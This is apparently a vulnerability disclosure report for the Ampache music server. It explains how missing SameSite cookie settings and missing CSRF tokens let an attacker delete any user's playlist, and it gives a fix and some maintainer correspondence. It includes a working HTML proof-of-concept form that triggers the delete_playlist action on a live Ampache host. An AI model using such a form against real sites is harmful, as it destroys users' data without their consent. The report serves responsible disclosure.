Cross-Site Request Forgery (CSRF) in ampache/ampache
Reported on
Jul 24th 2021
βοΈ Description
When you don't set the SameSite attribute of cookies the browsers have special act in front of this issue.(I mean set default value on it) chrome and chromium based browsers set the attribute "Lax" that mean if you do add/delete/alter operation in a get HTTP request then your site more vulnerable with CSRF attacks.
But Firefox ( one of big ones ) don't set this attribute to "Lax" and set it to "none" that makes all POST and GET requests more Vulnerable to CSRF attack.
In demo.apache.dev
you don't set any SameSite attribute for your cookies.
In develop.ampache.dev
also you set SameSite attribute for all cookies to "Strict" that is good but for main session cookie that name "ampache" you didn't set any SameSite attribute.
Also you don't set any CSRF in Privacy setting part, because of this In Firefox attacker can delete playlist of any user With CSRF attack that users already allowed manually do it.
π΅οΈββοΈ Proof of Concept
// PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://develop.ampache.dev/playlist.php">
<input type="hidden" name="action" value="delete_playlist" />
<input type="hidden" name="playlist_id" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Here attacker should knows the playlist_id
parameter value that start from 1 for all users.
π₯ Impact
This vulnerability is capable of delete any playlist.
Fix
You should set SameSite attribute to Lax and don't use Get method for writing, Or use strict if you don't want to share cookies to any third party application.
Occurrences
Hey lachlan, I've authorised you as the maintainer for this report, meaning you'll have rights for all future reports against ampache. Please let me know if you're still unable to view/interact with this page. You'll also receive an email with a magic link within the hour.
Hey Lachlan.
any feedback?
if you want any help just tell me.πππ